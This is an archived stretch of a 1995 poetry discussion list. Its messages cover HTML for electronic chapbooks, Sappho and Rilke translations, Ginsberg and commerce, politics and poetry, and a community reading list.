Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

475. **Tony Green**
Re: Chapbooks at EPC
Thu 30 Mar 1995

"html"? please help techonolgically barely competent person. I can do ascii.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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476. **Tony Green**
Ginsberg quote
Thu 30 Mar 1995

without permission:

".....and mountains of eggs were reduced to white powder in the halls of Congress

no godfearing man will walk there again because of the stink of the rotten eggs of America

and the Indians of Chiapas continue to gnaw their vitaminless tortillas

aborigines of Australia perhaps gibber in the eggless wilderness

and I rarely have an egg for breakfast tho my work requires infinite eggs to come to birth in Eternity

and the grief of the countless chickens of America is expressed in the screaming of her comedians over the radio ....."

Death to Van gogh's Ear Paris 1958 in Kaddish

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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477. Steven Howard Shoemaker
signs
Thu 30 Mar 1995

Something floating around the 'net, wending its way toward the poetics list:

> *Here are some signs and notices written in English that were discovered throughout the world.*
>
> *In a Tokyo Hotel:*
> *Is forbidden to steal hotel towels please. If you are not a person to do such a thing please not to read this.*
>
> *In a Bucharest hotel lobby:*
> *The lift is being fixed for the next day. During that time we regret that you will be unbearable.*
>
> *In a Belgrade hotel elevator:*
> *To move the cabin, push button for wishing floor. If the cabin should enter more persons, each one should press a number of wishing floor. Driving is then going alphabetically by national order.*
>
> *In a Paris hotel elevator:*
> *Please leave your values at the front desk.*
>
> *In a hotel in Athens:*
> *Visitors are expected to complain at the office between the hours of 9 and 11*

A.M. daily.

In a Yugoslavian hotel:
The flattening of underwear with pleasure is the job of the chambermaid.

In a Japanese hotel:
You are invited to take advantage of the chambermaid.

In the lobby of a Moscow hotel across from Russian Orthodox monastery:
You are welcome to visit the cemetary where famous Russian and Soviet composers, artists, and writers are buried daily except Thursday.

On the menu of a Swiss restaurant:
Our wines leave you nothing to hope for.

Outside a Hong Kong tailer shop:
Ladies may have a fit upstairs.

In a Bangkok dry cleaners:
Drop your trousers here for best results.

In a Rhodes tailor shop:
Order your summers suit. Because is big rush we will execute customers in strict rotation.

From the Soviet Weekly:
There will be a Moscow Exhibition of Arts by 150,000 Soviet Republic painters and sculptors. These were executed over the past two years.

A sign posted in Germany's Black Forest:
It is strictly forbidden on our black forest camping site that people of different sex, for instance, men and women, live together in one tent unless they are married with each other for that purpose.

In a Zurich hotel:
Because of the impropriety of entertaining guests of the opposite sex in the bedroom, it is suggested that the lobby be used for this purpose.

In an advertisement by a Hong Kong dentist:
Teeth extracted by the latest Methodists.

In a Rome laundry:
Ladies, leave your clothes here and spend the afternoon having a good time.

In a Czechoslovakin tourist agency:
Take one of our horse-driven city tours - we guarantee no miscarriages.

Advertisement for donkey rides in Thailand:

Would you like to ride on your own ass?

In a Swiss mountain inn:
Special today -- no ice cream.

In a Bangkok temple:
It is forbidden to enter a woman even a foreigner if dressed as a man.

In a Tokyo bar:
Special cocktails for the ladies with nuts.

In a Copenhagen airline ticket office:
We take your bags and send them in all directions.

In a Norwegian cocktail lounge:
Ladies are requested not to have children in the bar.

In a Budapest zoo:
Please do not feed the animals. If you have any suitable food, give it to the guard on duty.

In the office of a Roman doctor:
Specialist in women and other diseases.

In an Acapulco hotel:
The manager has personally passed all the water served here.

From a Japanese information booklet about using a hotel air conditioner:
Cooles and Heates: If you want just condition of warm in your room, please control yourself.

From a brochure of a car rental firm in Tokyo:
When passenger of foot heave in sight, tootle the horn. Trumpet him melodiously at first, but if he still obstacles your passage then tootle him with vigor.

Two signs from a Majorcan shop entrance:
- English well speaking
- Here speeching American.

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478. Loss Glazier
Re: Chapbooks at EPC
Thu 30 Mar 1995

> *"html"? please help techonolgically barely competent person. I can do ascii.*

Well yes, then, you would probably want to supply ascii. If you were interested, you might learn html later, which is a mark-up language that permits some basic formatting and the possibility of making links in World-Wide Web documents. (I'm not sure if you even have world-wide web access. Sometimes this is obtained by typing lynx at your system prompt.) One basic use of html is that you can mark your ascii text, for example, so that there is a table of contents and the user can jump to the section of the text indicated by the table of contents. That's one of the basic uses.

You can get more info about html by using the web to go to:
http://www.ncsa.uiuc.edu/demoweb/html-primer.html

You may wish to submit ascii first and investigate html as time permits; it takes a while to learn but is very useful.

All best,
Loss

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479. Tony Green
Re: signs
Thu 30 Mar 1995

Dear Steven Shoemaker, Thanks for the giggle. I wonder how many of the solecisms are genuine found "Signs". ("Is that a real sign or did you make it up yrself?")

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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480. **Edward Foster**
Re: Responsibility
Thu 30 Mar 1995

ya, and then there is the parenthical (hello, ____): hi, there, big friend; everyone watch me wave. let's just measure the rope. so, chris, maybe the problem is the performance and the waving.

↑ Index

481. **Jeffrey Timmons**
Rilke Quote
Thu 30 Mar 1995

Hey, Y'all:

I Need HELP!

I'm trying to find a translation from Rilke's Die Aufzeichnungen des Malte Laurids Brigge; James Wright uses it as an epigraph for his poem "Sappho." I don't speak/read german (I did work in french), so if anyone could be so kind as to either offer a translation or suggest a translated version and where (it's a big work) in the text it occurs I would be eternally grateful. Thanks!

Here's the quote:

"Ach, in den Armen habi ich sie alle verloven [or is it verloren?], du nur, du wirst immer wieder geboren. . . ."

Jeffrey Timmons

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482. **George Bowering**
Re: poetry v history
Thu 30 Mar 1995

Well, Tony, that's funny, re Olson and "real" historians. I am engaged in writingh a history book now, for penguin. I applied for an academic grant, and got turned down, because the granting agency sent my application to some history professors. They were nice enough to send me copies of the profs' reports. One of them, which was filled with very bad English, said I should not get anything because, for instance, I was going to go to local museums instead of a centralized archive, as a real historian would do. So it goes.

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483. **Pierre Joris**
Re: Rilke Quote
Fri 31 Mar 1995

> *Hey, Y'all:*
>
> *I Need HELP!*
>
> *I'm trying to find a translation from Rilke's Die Aufzeichnungen des Malte Laurids Brigge; James Wright uses it as an epigraph for his poem "Sappho." I don't speak/read german (I did work in french), so if anyone could be so kind as to either offer a translation or suggest a translated version and where (it's a big work) in the text it occurs I would be eternally grateful. Thanks!*
>
> *Here's the quote:*
>
> *"Ach, in den Armen habi ich sie alle verloven [or is it verloren?], du nur, du wirst immer wieder geboren. . . ."*

A very quick literal version of the quote would give something like this:

"O, I have lost them all in the arms, only you, you are constantly born anew."

As I don't have the context, this is all I can do at 6 a.m. The awkward "the arms" could possibly become "my arms"

Pierre

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

↑ Index

484. **Bill Luoma**
Re: back to poetry
Fri 31 Mar 1995

Sappho--phainetai moi

It appears to me that his godhead
divines your little one on one.
He plays forward on the sweet phone
of your acuteness

and galling desirability.
This is my cardiac chest unfeathering.
When I see you, nothing comes
to me to speak.

My tongue is broken. Straightway
a fine flame consumes my skin.
With my eyes I see nothing and hear
forebodings of rain.

A cold sweat downs me. A trembling
seizes all. I am more green than
grass time. I am dead no less
than I appear.

Sappho--hoi men hippeon straton

Most men take strategic knights, while others
claim armymen; the rest hold up battleships
as the greatest show on earth. But I declaim.
It's who do you love.

It's no trouble to cinch this once and for all.
For she was Helena, beauty of the mortal
elsewhere, who left the man, the aristocrat,
behind.

And went floating off to Troy, with no
mind for offspring or beloved parents.
Love walked her sideways, knowing
straightway.

For swayed
    lightly t one
    puts me in mind of Anaktoria, now
out of sight.

I would rather see her step the lovely
and do the facial shine more than any
continental chariot decked with soldiers
under arms.

Sappho--poikilothron' athanat' aphrodita

Thronechanging amortal Aphrodite,
child of Zeus deceit weaver, Hey Lady,
don't break my heart on the yoke
of grief and ailment.

But come on down. Do you remember when
you answered my call? It was a long distance
and you listened and left your father's
golden dome,

having yoked the chariot. The beauties
led you, swift sparrows over black earth,
dense feathers cutting spirals from heaven
to the middle of air.

They arrived on a dime, with blessed you
smiling the amortal smile. And you asked:
"What's all this then? Why do you bother
to call?

How far across the nation did your heart
range this time? Whose pretty little head
can I turn your way? O Sappho, who's been
so mean to you?

Listen, if she hides now, soon she will seek.
If she won't say thankyou, soon she'll say please.
If she doesn't want it now, soon she'll be wanting,
but not willingly."

Come on. Loose me far away from high
anxiety. However much my little heart
wants to consume, you consummate. You,
yourself, stand by my side.

↑ Index

485. cris cheek
Re: Responsibility
Fri 31 Mar 1995

> *ya, and then there is the parenthical (hello, ____): hi, there, big friend;*
> *ever*
> *yone watch me wave. let's just measure the rope. so, chris, maybe the problem*
> *is*
> *the performance and the waving.*

can you deconstruct some of this a little further
sounds as if you're a serious cow'boy'
or is your tone jusy obliquely stretched? Reels one, where's the hanging party?
or did you see my performance with the red rope in Toronto?

I should ask - which performance, what waving?

best cris

↑ Index

486. **cris cheek**
GAPsberg
Fri 31 Mar 1995

Gary, the weasel asks:
when GAP buy Ginsberg don't they also somehow endorse all that he has done and 'stands' for?

If that can be true, then what consequent implications does that endorsement have for those values which he 'embodies'.? Do GAP realise what they're 'buying' into? Does Ginsberg have an ironic position with regard to what he's selling? Is there some intimation of a Faustian pact? Is he selling his, and others', pasts - or a generative (even some might add congenital) bohemian undergraduate lifestyle - or a set of ideologies and cultural values? In other words if the production and the producer of 'Wichita Vortex Sutra' is 'good' for sales how does or can that affect the reception and critiques of his work as a poet?

What is lost? What is gained? What can be reclaimed and on what basis?

Can the (sometimes) desperate need for societies to embrace and absorb resistance beyond (either internally or externally) accepted margins or consensual realities reach a point of untenable, or no longer sustainable, flexibility? Is this another strategy for bringing the bourgeousie to its brink? Can a crisis in capitalism be brought about by encouraging it to stretch too far? (the weasel notices he's way beyond the canyon's edge - claws at thin air before speed lines plunge him out of the frame towards the rapidly approaching stream in the canyon's bed)

And to pick up Ron's point about large audiences and the rock axis, hasn't much of Ginsberg's career openly engaged with businesses bigger than the small press? What price the intergrity of Rolling Thunder - or Dylan himself for that matter? Aren't Ginsberg and Dylan already part and parcel of the Capitalist fabric of the American dream? I enjoy you teasing these threads apart once more but can't we begin to develop other strategies rather than the binary 'them' and 'us' oppositions.

Doesn't all business involve forms of reification by association with success? Like having a commendation from x on the back of the book - or merely being able to publish something written by x to raise the profile of a press. Whilst, arguably, Consumerism can't be separated from Dissemination it isn't synonymous with Capitalism. This list and e-space more generally has a crucial role to play in developing new relations between process and product, between means of production and modes of consumption between forms of communication, information distribution and ecologies of use.

I appreciate what you posted a week or so back re; the hallmark of a great card:

> *The books my wife Marta & I publish include all of the "bullshit," *despite* my sense that it somehow "cheapens" the things. Dissemination--almost all of it, at any level--involves some degree of compromise. It helps, I think, if you can be consistently aware of that, know beforehand what you are or are not willing to do.*

There is NO clean money."It's not YOUR money creep, it's MONEY!". There are huge socio-economic arguments massing and missing here. Alongside which lie various reductive ideologies re- mainstream and margin -

'precious tempered formal radicals
cleaving to illusory
obscurity, that being the only
security they've got' (slim pickens)

cris

p.s. In 1990 I was invited to interview Ginsberg on censorship in the U.S. re Helms and radio 'chilling'. Didn't know what he'd be like 'in person'. I've got to say that warts and all he struck me as to quote you one last time 'a great card' - flawed but then who isn't, and full of the energy to engage - the roughness of the public worlds. He 'hits on' those.

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487. **Gary Sullivan**
Re: GAPsberg
Fri 31 Mar 1995

Dear Cris:

Many thanks for your truly thoughtful & hilarious post. (Great Slim Pickens quote, btw. What's it from?) Yes, yes; that "us" & "them" is too, too easy. (My "Windbag" sign-off not just an acknowledgment of my talkativeness, but, as it comes from More's _Utopia_, a nudge suggesting how ridiculously idealistic I can get, to boot.) (I'm not completely oblivious, though I play ... , etc.)

I have friends who feel that small presses in general suffer from just what that Pickens quote brings up--there are many days when I wholeheartedly agree (& include myself in that, too, btw.) Still, I think you can talk yourself into & out of believing anything, & to quote from something a friend writes (about-to-be, but-not-yet-published) about Olson:

"He knew and taught that where there are no standards there can be, really, no love."

Yours, w/respect

Gary

↑ Index

488. **Robert Drake**
Re: Chapbooks at EPC
Fri 31 Mar 1995

---

appologies in advance to more Web experienced folks, but--

just wanted to add encouragement to folks considering contributing to the EPCs electronic text, and to echo Loss's charaterization of this as a pretty special opportunity...

to expand a little on HTML, which is the language used to write World Wide Web documents:

HTML (HYPERTEXT MARKUP LANGUAGE) is _much_ less intimidating than it sounds, even fr technophobes like me--not much more complicated than MLA manuscript conventions... *(no, really!)*. basically, it's a set of tags that describe how a text is presented onscreen...

---

now, here's the above paragraph in HTML:

<p> <H1>HTML (Hypertext Markup Language)</H1> is much less intimidating than it sounds, even fr technophobes like me--not much more complicated than MLA manuscript conventions... (no, really!). basically, it's a set of tags describe how a text is presented onscreen.

the "<p>" means "new paragraph"; the text between "<H1>" and "</H1>" will be displayed as a first level heading, like a title; "much" means that "much" will be displayed in italics; "(no, really!)" will appear in bold... all of these tags are hidden when the document is read onscreen, the computer just interprets them & displays the text as specified...

besides online resources, there's a book available, "Teach yourself Web Publishing with HTML in a Week" by Laura Lemay--broken down into "day 1", "day 2"... and all the basic text-oriented stuff is covered by day 3.)

---

in addition to formating, HTML allows you to jump between different "pages" of your document, either in a specified sequence or as a web of interconnections. simple ways of using this would be a table of contents, where each title is linked to it's respective poem-- the reader "clicks" on a title onscreen, and that poem is then displayed. another use would be footnotes that are hidden, and only displayed at the request of the reader... and again, the actual formatused to specify these links is really simple...

which brings me to my real point, to encourage folks to utilize the possibilites of the medium (& harkening back to recent discussions about the physical design of books). when i design a paper chapbook, i work pretty hard to sequence the poems so that the book as a whole "flows". with links that aren't necessarily linear (pg 1, pg 2 etc), whole new schemes are possible. for my initial chap for the EPC, i'm working with the poet--from any given poem, she's suggesting 3 or 4 other possible poems that might make good "segues", readers will be able to jump to any one of them from there... and instead of a straight table of contents, she's gonna write a new piece, sort of a letter amoung her various "selves", which will have links (allusive/suggestive, rather than simply the titles) into the various poems...

i've been working with Loss for the past coupla weeks, figuring out from scratch how this stuff fits together--he's made things very easy. i'd be happy to offer my meager experience to any of you considering taking him up on this offer.

asever
luigi

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489. **Gary Sullivan**
New Johanna Drucker book
Fri 31 Mar 1995

Dark Decade, a novel by Johanna Drucker
(includes reproductions of 17 paintings by the author)
Detour Press, 1995, 128 pp., $10.95.

Order from Small Press Distribution, or postpaid from the publisher:

Detour Press
1506 Grand Avenue #3
St. Paul, MN 55105-2222

Excerpt from _Dark Decade_ (relevant to a number of threads here, recent & not-so-recent):

THE POET'S CONDITION His aesthetics were fed by linguistics, not ecstacy, and he banked on the gestures of middle class life. He matched his chairs with the diningroom table while the computer continued its printout unsupervised. Children dropped into the picture in their requisite role as accessories of the age. The macho tactics that had launched his embryonic career also catapulted themselves into the domestic arrangements. The expectations of a whole generation of forbearers stood ahead of him in the path to glory. The high stakes were all low paying, gambling for the dubious slots in history, and the strategies of youth had all been Oedipal -- taking on masters and then taking aim. What was poetry in this moment but a marginal commentary on a marginal form, smudged against the hallmark of literature, and sleeping undisturbed between the covers of slim volumes? . . . Dyna is not part of this picture, but is also ready to be described. She begs for pulp terms to break the taboo against violence to women with the glandular vocabulary of the super-market novel. Her moments lend themselves to sensationalism. She lives the very antithesis of the obscure literary genre. Hers is a popular mythological tale, full of glamour, gloss and textural attributes. But feeling correct and circumspect we merely indicate the presence of a woman. The poet, meanwhile, has made it to the kitchen where he takes a hunk of bread and begins to live with it. Frustration spreads itself with the knife of anticipation -- later. Later. The refrain stings his soul, against the strange injustice of a world unwilling to acknowledge the power of the word in its own climate: language. The bread bit into him and we lost the opportunity for elaborate development of character or scenes: while the angel of mercy reserved the loaf along with the goals, aims, and standards that the poet, in a better mood, maintained. In our story he represents the state of fallen virtue and the failed project of art. The times would gladly obliterate his existence, but we notice that they do not bother. . . .

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

April 1995

584 messages · Wed 22 Mar 1995 – Sun 30 Apr 1995

April is the month a bomb takes down a federal building in Oklahoma City and the country discovers, all at once, that the word militia has meant something all along. The list arrives at the horror sideways and mid-sentence, having spent the preceding fortnight relitigating whether poetry can be political without collapsing into a pamphlet — an argument that runs beneath half a dozen headings, changes costume weekly, and never quite consents to conclude. The archive this month spills past its own edges, opening in the last week of March and closing on the first of May, as if the month itself could not be contained.

The politics threads multiply like cells: *“re-politics again,” “Consent of the governing,” “Standing,” “Responsibility,” “Power.”* Gary Sullivan complicates the familiar academic grievance by insisting the real currency at stake is *“poetry world”* tenure — more tenuous than the university kind and somehow more absolute. Edward Foster, who this month writes more than any other soul on the list, keeps the pot at a rolling boil, and the argument over who may speak for whom is conducted with the peculiar ferocity of people who privately suspect the question admits of no answer at all.

Out of the politics grows the month's small masterpiece of dialectic, a thread wryly headed *“Re Mandel/Mao.”* Aaron Shurin lays down the Maoist premise: *“There are no correct ideas.”* Alan Sondheim answers, with perfect and annihilating economy, *“Your idea is incorrect.”* And the Minnesota Center for Book Arts closes the loop by posing the only question left standing: *“Are there, then, any incorrect ideas?”* Three lines, three poets, and something very like the entire twentieth century folded into a single exchange on a listserv few outside this room have ever heard of.

In a warmer register runs *“Desire,”* set off when Dodie Bellamy confesses herself surprised to find *“such a sexy message on the poetics listserve,”* then adds, with a novelist's precision, that she meant the discourse and not the individuals. The thread promptly braids itself into a Rapunzel game, contributors taking turns at the tower and its improbable ladder of hair, while a parallel argument over the *“Definition: Language Poetry”* has Ryan Knighton relaying Jack Spicer's austere line that language is only *“the furniture in the room”* — older than any of us, larger than any of us, and inclined, if anything, to employ the poet rather than be employed.

Then, on the nineteenth, the tower comes down for real. eric pape, watching the list's playful catechism of correct and incorrect ideas roll merrily on, notes how strange the joke sounds arriving as it does after *“the Oklahoma City bombing,”* where a genuine ideology has just built a genuine bomb. And Tony Green, two days later, folds the news into a meditation on where poems come from, letting the phrase *“grief and pity”* fall in among the Chthonic and the ecstatic as if the only honest reply to the thing itself were to stop theorizing and mourn. I have left his line standing at the seam between April and May, where the archive — and, one feels, the century — pause briefly to hold their breath.

— Kristen M. Fabians

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1. RSILLIMA
Hallmark
Wed 22 Mar 1995

The late Darrell Gray, right after he got out of Iowa City, worked for Hallmark in Kansas City for awhile before heading out to California. It wouldn't surprise me to discover that other MFAers have done likewise. I was in KC about 2 years ago, at the hotel that's attached to the mall/office suite Hallmark runs (and rode past the very corporate block architecture of its actual HQ building), and noted how the signage referred to "the leading producer of greeting cards and social expression products." That latter phrase stuck in my mind.

Beyond a verse genre that one could characterize in its sincere mode as "lumpen new formalism" what I think causes the allergic reaction to greeting cards is

(1) how greeting card verse instrumentalizes emotion into a lowest (commodity) denominator. Whatever poetry does (and people do disagree on that one, don't they?), almost every variation I've heard of tends to discount instrumentalization (with the possible, and only just, exception of certain identarian forms ("the people united...")).

(2) a reaction to how all poets must deal with the stereotypes of poetry that non-readers (relatives, say, your great aunt or drunken uncle) throw over one the minute they learn that you -- in whom everybody had once had such hopes -- have decided, gasp, to devote a life to poems??!! You feel misunderstood, ridiculed, violated in some fashion to hear your folks make that sort of comparison and tend to blame the genre. No?

Ron

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2. Edward Foster
Re: Responsibility
Sat 1 Apr 1995

nothing oblique, no waving, just a rope over the bannister. who said "i thought they were friends, but they were really poets" or something to that effect. corso? i can't place it.

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3. **cris cheek**
Re: back to poetry
Sat 1 Apr 1995

'bridle'

First off I Trash myself - before some Other does
the same.
Regardless of the dark
it seems the lights keep coming
on and
On. Lured out, then abandoned into a deadly, sickening animal
fear.
Until there's no skin to speak of

Recognition branding pain and frustration
with displacement
given on a whiplash tongue to a child.
The bitter teachings of distance and misappropriation.

Re-cognitive maps of will ways despised
by those who seek to foster reductive -

person think something
"you piece of kit!"
that sells their stuff

to factor in
the morality of exporting
what it's all about

the public demand (or 'perceived need')
for sacrificial
niche identities.

A sound of sense coming
to be in a world. Were shafts awkwardly
work at a flickering consciousness in tendered servant
hothouses of idling memories
curdled by ignorance.

- and lives wiped out
and houses shut up
without cause -

The plain of knowing
being flood.

Sprung linnet hoop. Put sugar, orders clap of got to go
bye byes description of - meat
eating vegetables and Time junkies.

Pitching to foil a perk, scribbled with loss.
And other such dung - holed evasions of purpose. Each market
forbidding engagement. A peak
to be severed from hope. That chart-topping
heartstopping moment. Behind a bleak

and carping register of modal verbs
traced against peeping through ever more
grotesque zooms. A boggered nostril
caught in the planed light of beams from painted cradles.

Fishing stagnant waters to dish up stagnant melodies.
And to suppress a rising mange of panic. The respondent
bugle, scraping its "good security leads
to no events" head between rusting bars.
Planting weary hands in beds of freezing mortar.
To reach in a blaze for the parched meal of splinters
and of back teeth ground beyond dust by impoverished logic.
Or a metaphoric birth dote racked by incident detours.

Implied to go through as motions to a shower that trucks chuck up
a windscreen wiper rhythm interfering with a Buddhist
ceremony on the radio. Announcements unafraid of nurture.

This book of cares is dry. The citizens are poor but happy.
"Tape!", so jack these frequencies can plausibly deny
- a bat slum out of plight school.
A peculiar bait.
Heavy blisters form throat
- shadey pop tune the following pepsi committee.
Signed flock purple pussy wrench this thicket me
to locate it - exhausted successfully.
And I said "eat my belt"
and How

These are the lines I was told to remember. As points of entry.
And a cuss to retard longing how could it happen that.

Because here they are
loved for what
they are.
By choice

like a bomb had
"Hit it"

- king for the final . . . cut.
By comforting a horny level of amenity.
As observing through windows discouraged in contemporary
painting
a reflecting reader coned under bedside light
puking into a potty, a salutary present from those
who most - and yet it blends retrenchment with deceit
through what little tenacity is brought impeculiar to its makers
an elite which will not be defined by its language use
into a caricature of rebellion, installed without support.

A newsreader arranges her blindfold, with a hook removed to offer
the continuity of the timetable.
Voice protection to remember, re-entered a refired theatre of gall.
Demonstrated by a schedule of contemplation.
Jelly records, hugging bones flooded with brawn.
Hallucinating where griddle details organise a bleeding lamb to jut.
Until Security Customers talked in couscous reversals
among whom familarity was invested. A likeness which embraces
its past, the speculative, to a point - recess.
Touchstones denying compromise
gone hungry
so that

thought
an extension of interract
street
the environment
shot
among movements expressing resentment.

Root embroidery - and when educated precedent
neglected out of numb developed hop.
An obvious stubble, a sporting crash to end public key block.
Sharing regarded as a work shy Slack who tore open his face in a fit
cut bruised wood to quicken who swears where she was
when the papers caught up with her.
A planed wrong number
framed trespassing hearts of oak potted for mounting
anything having the ashes of imperative
attributes and whenever selected desirable such.

White smoothed paint and then the slogans of
'this is happening'
then 'history is plainly facts'.

Providing clues to the origin of that well-known phrase
so to 'peter the lily'.

Head face her
in a camera
stinging black words.

Written open
pump of
used to sing The Muddle.
Does a boat exude it
when its user isn't there?

Bathed with scurrilous juices
whose fingers of laminate

"Cane!?". A cocked snoot, a hot slop out from night school.
Dis Colored might, rough tuning on a wall.
Mirrors her blood may be a density of emulate
occurence. A complexity
impossible to fix with
an uncertain talent for introspection.
Blue increment rain.

A Hermeneutics of suspicion
ushering the clashes of sentience
towards panorama.

A simplicity of joy due to intense engagement.
A restless itch along bones.
A bleat swarm above harbour.

A paramount involvement of
performance with
concepts of utopia.

Fearing
the ghosts of understatement
and the giants of trite.

Put metals of reality I too inhabit and yet cannot
'in up to the elbows'. I can
touch. And wake about to die.
Back to the wall kissing

a tourist with a camcorder.
Stopping to film a street
cough in her soggy box.
Look how he
Steadies how poses
this picture
- 'The Song of The Sleeve' -
in the process of doing which

tourist .

Gendered in a motivating force
died rocking. Making Content strange.

Reading maps requiring other maps
tortured and startled beyond recognition.

and having

↑ Index

4. Lindz Williamson

sappho

Sat 1 Apr 1995

On Fri, 31 Mar 1995, Bill Luoma wrote:

> Sappho--poikilothron' athanat' aphrodita
>
>
> Thronechanging amortal Aphrodite,
> child of Zeus deceit weaver, Hey Lady,
> don't break my heart on the yoke
> of grief and ailment.
>
> But come on down. Do you remember when
> you answered my call? It was a long distance
> and you listened and left your father's
> golden dome,
>
> having yoked the chariot. The beauties
> led you, swift sparrows over black earth,
> dense feathers cutting spirals from heaven
> to the middle of air.
>
> They arrived on a dime, with blessed you

> smiling the amortal smile. And you asked:
> "What's all this then? Why do you bother
> to call?
>
> How far across the nation did your heart
> range this time? Whose pretty little head
> can I turn your way? O Sappho, who's been
> so mean to you?
>
> Listen, if she hides now, soon she will seek.
> If she won't say thankyou, soon she'll say please.
> If she doesn't want it now, soon she'll be wanting,
> but not willingly."
>
>
> Come on. Loose me far away from high
> anxiety. However much my little heart
> wants to consume, you consummate. You,
> yourself, stand by my side.
>
But here' the translation that I have:

Release me from my cruel anxiety

To Aphordite

Aphordite on your intricate throne, immortal, daughter of Zues, weaver of plots, I beg you, do not tame me with pain or my heart with anguish

but come here, as once before when I asked you, you heard my words from afar and listened, and left your father's golden house and came

you yoked your chariot, and lovely swift sparrows brought you, fast whirling over dark earth from heavan through the midst of the bright air

and soon arrived. And you, O blessed goddess, smiled with your immortal face and asked what was wrong with me, and why did I call now,

and what did I most want in my maddened heart to have for myself. 'Whom now am I to persuade to your love, who Sappho, has done you wrong? For if she flees, soon she'll pursue you, and if she won't take gifts, soon she'll give them, and if she won't love, soon she will love you, even if she doesn't want to.'

Come to me now again, release me from my cruel anxiety, accomplish all that my heart wants accomplished. You, join my battle.

Sappho

Not knowing how to read Greek how do I know who has the better or more accurate translation?

Lindz

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5. Blair Seagram
Re: POETICS Digest - 28 Mar 1995 to 29 Mar 1995
Sat 1 Apr 1995

Dear Lintz:

I've just read your message and I knew I was getting into trouble when I started that 1st paragraph but I just let it go. Actually, when I was writing that, I was thinking of a painting by Goya called *3 May 1808* and a painting inspired by Goya's, by Manet, called *Execution of Emperor Maximilian, 1867*. You see I can appreciate what is happening in these paintings and I am moved by them. But I believe I am moved because of the person who painted them more than by the historical facts. In the same vein there have been photographs in the New York Times that blew me away they were so powerful. It is true the subject matter may have been dramatic, but the skill and sensitivity that went into them, has much to do with my reaction. What I am saying, and I would like to pick this up later (I have to meet someone in 10 minutes) is that politics alone will never make art even if that is the premise on which it is or was created. Finally we are left with something more, what I call the residue.

Actually that is more or less the way I feel about art and life. The art I make, if in fact I make any, is really the left over energy from living, the residue. What's left at the end of the day. That may seem terrible to you but it is what I feel in these times.

bs

↑ Index

6. Jorge Guitart
art as residue
Sat 1 Apr 1995

at the end of the day art is what's left of arthur after part of the hurt is removed

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7. cris cheek
Re: Responsibility
Sat 1 Apr 1995

> *nothing oblique, no waving, just a rope over the bannister. who said "i thought they were friends, but they were really poets" or something to that effect.*
> *cors*
> *o? i can't place it.*

ok Rapunzel, I'm coming up
love cris

↑ Index

8. Kevin Killian
Re: Responsibility
Sat 1 Apr 1995

> *ok Rapunzel, I'm coming up*
> *love cris*

I was surprised to find such a sexy message on the poetics listserve.

Dodie Bellamy

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9. Kenneth Goldsmith
POETICS READING LIST MARCH 1995 (long)
Sat 1 Apr 1995

POETICS READING LIST FOR MARCH 1995

Here's a first attempt at establishing a community reading list resource. Thanks for the many responses. I will try to post an updated list monthly and this will depend on your participation. Please feel free to post what you're reading or what you're currently obsessed with and I will collect 'em as they come in. (Or, if you don't want to junk up the list with info that will be posted later, email me privately [redacted]).

--Kenneth Goldsmith

From: Gary Sullivan <[redacted]>
Subject: Re: Goldsmith's Top 10 request

1. Aristotle's _On the Art of Poetry_. Section 20, focussing on linguistic definitions.

2. Charles Lamb's _Selected Prose_. As Adam Phillips notes in the Introduction: "[for Lamb] great art was unfinished in the sense that it relied on the imaginative involvement of the audience to complete it. It was not something that by virtue of its perfection diminished its audience. It was not an idol but an invitation." From Lamb's essay on Hogarth: "*imaginary work*, where the spectator must meet the artist in his conceptions half way; and it is peculiar to the confidence of high genius alone to trust so much to spectators or readers." (cf. "reader-response writing.") Lamb's essay "On the Tragedies of Shakespeare" is the first instance of someone suggesting a preference for *reading* Shakespeare over viewing the plays performed. An excellent, intelligently stated argument, with all the panache (& thrice the wit) of Grenier's "I HATE SPEECH." (You'll have to read Lamb's essay to see whether or not you agree--and to what extent--Lamb's & Grenier's concerns are related.)

3. Gertrude Stein. No need to explicate. Richard Bridgman's _Gertrude Stein in Pieces_ includes a (complete?) bibliography, with actual & well-guestimated dates for each work, if you want to read her chronologically.

4. Samuel Beckett, esp. _How It Is_, _Stories and Texts for Nothing_, _Fizzles_, _Ill Seen Ill Said_, _Worstward Ho_, _More Pricks than Kicks_, _Company_ and _Stirring Still_. A big influence on Coolidge, who seems a big influence on lang pos.

5. Jack Spicer, _Language_. (cf. Silliman on this in _New Sentence_.)

6. Clark Coolidge, esp. _Space_, from 1970. The spine of this book claims it was published by "Harper & Row"; I think they did that with mirrors.

7. J.G. Ballard, _The Atrocity Exhibition_. Originally published in 1972 by Panther; reissued (expanded edition?) recently by Re/Search. His notorious "Why I Want to Fuck Ronald Reagan" (there's an Andrews title for you) orig. appeared in 1968 in _Ronald Reagan, The Magazine of Poetry_, edited by John Sladek and Pamela Zoline. (Includes groovy, Brainardesque line-drawings by Zoline.) Andrews is funnier, but Ballard stays with you longer. (Well, okay, "has stayed with *me* longer.")

8. Ad Reinhardt. It's been too long since I've read him to explicate, but I remember, first coming across journals like _Ottotole_ and _Poetics Journal_, that the Ad-man'd covered some of that conceptual ground with respect to the visual arts. His art-world satire collages (including a horse-racing form with the names of various abstract expressionists substituted for horses) are not to be missed. He may or may not prove relevant.

9. The Firesign Theater, _Don't Crush that Dwarf, Hand Me the Pliers_. If anything can be said to've prepared me to read (& appreciate) Bernstein, it was this record. I'm constantly amazed by the lack of (serious) critical attention

these guys have received. One of the members, David Ossman, did the interviews of New American Poets published in _The Sullen Art_. (Corinth published that, I think.) There are several e-space "whatchyoucallems" devoted to the F.T. I've discovered using Gopher. Can't remember where they are, how I got there. At least one site includes the F.T. "lexicon," which might be valuable for the un- or recently initiated.

